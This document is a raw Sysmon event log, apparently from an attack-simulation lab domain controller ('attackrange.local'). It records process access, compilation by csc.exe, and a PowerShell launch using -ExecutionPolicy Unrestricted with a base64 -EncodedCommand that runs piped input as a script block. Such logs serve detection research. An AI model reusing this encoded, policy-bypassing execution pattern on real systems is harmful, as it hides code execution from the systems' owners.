09:10:29.803{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003386Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.803{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2905-5F80-AC00-000000007F01}2772C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003385Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.803{A5F018FF-2905-5F80-AB00-000000007F01}30444928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-2905-5F80-AC00-000000007F01}2772C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003384Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.803{A5F018FF-2905-5F80-AC00-000000007F01}2772C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES2EEA.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC183D5556D780448DAD7FC6DEFC834E49.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2904-5F80-EA04-060000000000}0x604ea0HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-2905-5F80-AB00-000000007F01}3044C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\v55yko2h.cmdline" 10341000x80000000000000003383Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.709{A5F018FF-2904-5F80-A600-000000007F01}43923532C:\Windows\system32\conhost.exe{A5F018FF-2905-5F80-AB00-000000007F01}3044C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003382Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003381Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003380Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003379Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003378Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003377Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003376Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003375Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003374Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.709{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003373Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.709{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2905-5F80-AB00-000000007F01}3044C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003372Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.709{A5F018FF-2905-5F80-A900-000000007F01}47085020C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2905-5F80-AB00-000000007F01}3044C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c1edb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c19a9|UNKNOWN(00007FFAA906B68F) 154100x80000000000000003371Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.711{A5F018FF-2905-5F80-AB00-000000007F01}3044C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\v55yko2h.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2904-5F80-EA04-060000000000}0x604ea0HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-2905-5F80-A900-000000007F01}4708C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 11241100x80000000000000003370Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.709{A5F018FF-2905-5F80-A900-000000007F01}4708C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\v55yko2h.cmdline2020-10-09 09:10:29.709 11241100x80000000000000003369Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:29.693{A5F018FF-2905-5F80-A900-000000007F01}4708C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\v55yko2h.dll2020-10-09 09:10:29.693 10341000x80000000000000003368Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.271{A5F018FF-2904-5F80-A600-000000007F01}43923532C:\Windows\system32\conhost.exe{A5F018FF-2905-5F80-AA00-000000007F01}4728C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003367Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.271{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003366Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.271{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003365Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.271{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003364Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.271{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003363Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.271{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003362Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 